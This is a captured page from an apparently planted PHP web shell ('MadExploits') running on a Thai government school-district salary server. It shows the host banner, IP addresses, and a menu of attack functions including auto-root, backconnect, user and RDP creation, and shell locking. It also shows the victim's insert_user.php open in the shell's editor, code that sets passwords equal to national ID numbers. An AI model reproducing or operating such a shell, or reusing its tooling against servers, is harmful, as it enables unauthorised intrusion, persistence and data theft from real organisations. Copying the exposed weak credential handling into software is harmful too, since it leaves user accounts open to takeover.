Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
salary2_online /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
_notes
[ DIR ]
drwxr-xr-x
PHPCounter.txt
8
B
-rw-r--r--
PHPCounter2.txt
8
B
-rw-r--r--
del_ok.php
1.32
KB
-rw-r--r--
del_user.php
10.24
KB
-rw-r--r--
edit_admin.php
6.47
KB
-rw-r--r--
edit_ok.php
1.33
KB
-rw-r--r--
edit_user.php
10.79
KB
-rw-r--r--
index.php
5.25
KB
-rw-r--r--
insert_ok.php
1.33
KB
-rw-r--r--
insert_user.php
7.17
KB
-rw-r--r--
login_fail.php
1.35
KB
-rw-r--r--
main.php
6.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : insert_user.php
<?php require_once('../Connections/salary_online.php'); ?> <?php if (!isset($_SESSION)) { session_start(); } $MM_authorizedUsers = ""; $MM_donotCheckaccess = "true"; // *** Restrict Access To Page: Grant or deny access to this page function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { // For security, start by assuming the visitor is NOT authorized. $isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (!empty($UserName)) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode(",", $strUsers); $arrGroups = Explode(",", $strGroups); if (in_array($UserName, $arrUsers)) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array($UserGroup, $arrGroups)) { $isValid = true; } if (($strUsers == "") && true) { $isValid = true; } } return $isValid; } $MM_restrictGoTo = "login_fail.php"; if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) { $MM_qsChar = "?"; $MM_referrer = $_SERVER['PHP_SELF']; if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&"; if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) $MM_referrer .= "?" . $QUERY_STRING; $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer); header("Location: ". $MM_restrictGoTo); exit; } ?> <?php function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue; switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form1")) { $insertSQL = sprintf("INSERT INTO member (username, password, name) VALUES (%s, %s, %s)", GetSQLValueString($_POST['username'], "text"), GetSQLValueString($_POST['username'], "text"), GetSQLValueString($_POST['name'], "text")); mysql_select_db($database_salary_online, $salary_online); $Result1 = mysql_query($insertSQL, $salary_online) or die(mysql_error()); $insertGoTo = "insert_ok.php"; if (isset($_SERVER['QUERY_STRING'])) { $insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?"; $insertGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $insertGoTo)); } $currentPage = $_SERVER["PHP_SELF"]; $maxRows_Recordset1 = 1; $pageNum_Recordset1 = 0; if (isset($_GET['pageNum_Recordset1'])) { $pageNum_Recordset1 = $_GET['pageNum_Recordset1']; } $startRow_Recordset1 = $pageNum_Recordset1 * $maxRows_Recordset1; mysql_select_db($database_salary_online, $salary_online); $query_Recordset1 = "SELECT * FROM member ORDER BY id ASC"; $query_limit_Recordset1 = sprintf("%s LIMIT %d, %d", $query_Recordset1, $startRow_Recordset1, $maxRows_Recordset1); $Recordset1 = mysql_query($query_limit_Recordset1, $salary_online) or die(mysql_error()); $row_Recordset1 = mysql_fetch_assoc($Recordset1); if (isset($_GET['totalRows_Recordset1'])) { $totalRows_Recordset1 = $_GET['totalRows_Recordset1']; } else { $all_Recordset1 = mysql_query($query_Recordset1); $totalRows_Recordset1 = mysql_num_rows($all_Recordset1); } $totalPages_Recordset1 = ceil($totalRows_Recordset1/$maxRows_Recordset1)-1; $queryString_Recordset2 = ""; if (!empty($_SERVER['QUERY_STRING'])) { $params = explode("&", $_SERVER['QUERY_STRING']); $newParams = array(); foreach ($params as $param) { if (stristr($param, "pageNum_Recordset2") == false && stristr($param, "totalRows_Recordset2") == false) { array_push($newParams, $param); } } if (count($newParams) != 0) { $queryString_Recordset2 = "&" . htmlentities(implode("&", $newParams)); } } $queryString_Recordset2 = sprintf("&totalRows_Recordset2=%d%s", $totalRows_Recordset2, $queryString_Recordset2); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ระบบแจ้งยอดเงินเดือน ออนไลน์ </title> </head> <body> <table width="100%" border="0"> <tr> <td align="center"><table width="70%" border="1"> <tr> <td align="center" bgcolor="#FF9900">ระบบแจ้งยอดเงินเดือน ออนไลน์ </td> </tr> <tr> <td align="center"><form action="<?php echo $editFormAction; ?>" id="form1" name="form1" method="POST"> <p><br /> เพิ่มข้อมูลผู้ใช้ (username) ครู บุคลากร </p> <table cellspacing="1" cellpadding="0"> <col width="114" /> <col width="115" /> <col width="64" /> <tr height="20"> <td width="114" height="20" align="right" bgcolor="#FFDDC6">เลชประชาชน : </td> <td width="149" bgcolor="#FFDDC6"><input name="username" type="text" id="username" /></td> </tr> <tr height="20"> <td height="20" align="right" bgcolor="#FFF0D9">ชื่อ - นามสกุล : </td> <td bgcolor="#FFF0D9"><input name="name" type="text" id="name" /></td> </tr> </table> <p> <label> <input type="submit" name="Submit" value="Submit" /> </label> </p> <p><a href="main.php">กลับหน้าหลัก</a></p> <p> </p> <input type="hidden" name="MM_insert" value="form1"> </form> </td> </tr> <tr> <td align="center" bgcolor="#FF9900">สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาเขต 29 </td> </tr> </table></td> </tr> <tr> <td align="center"> </td> </tr> </table> </body> </html> <?php mysql_free_result($Recordset1); ?>
Close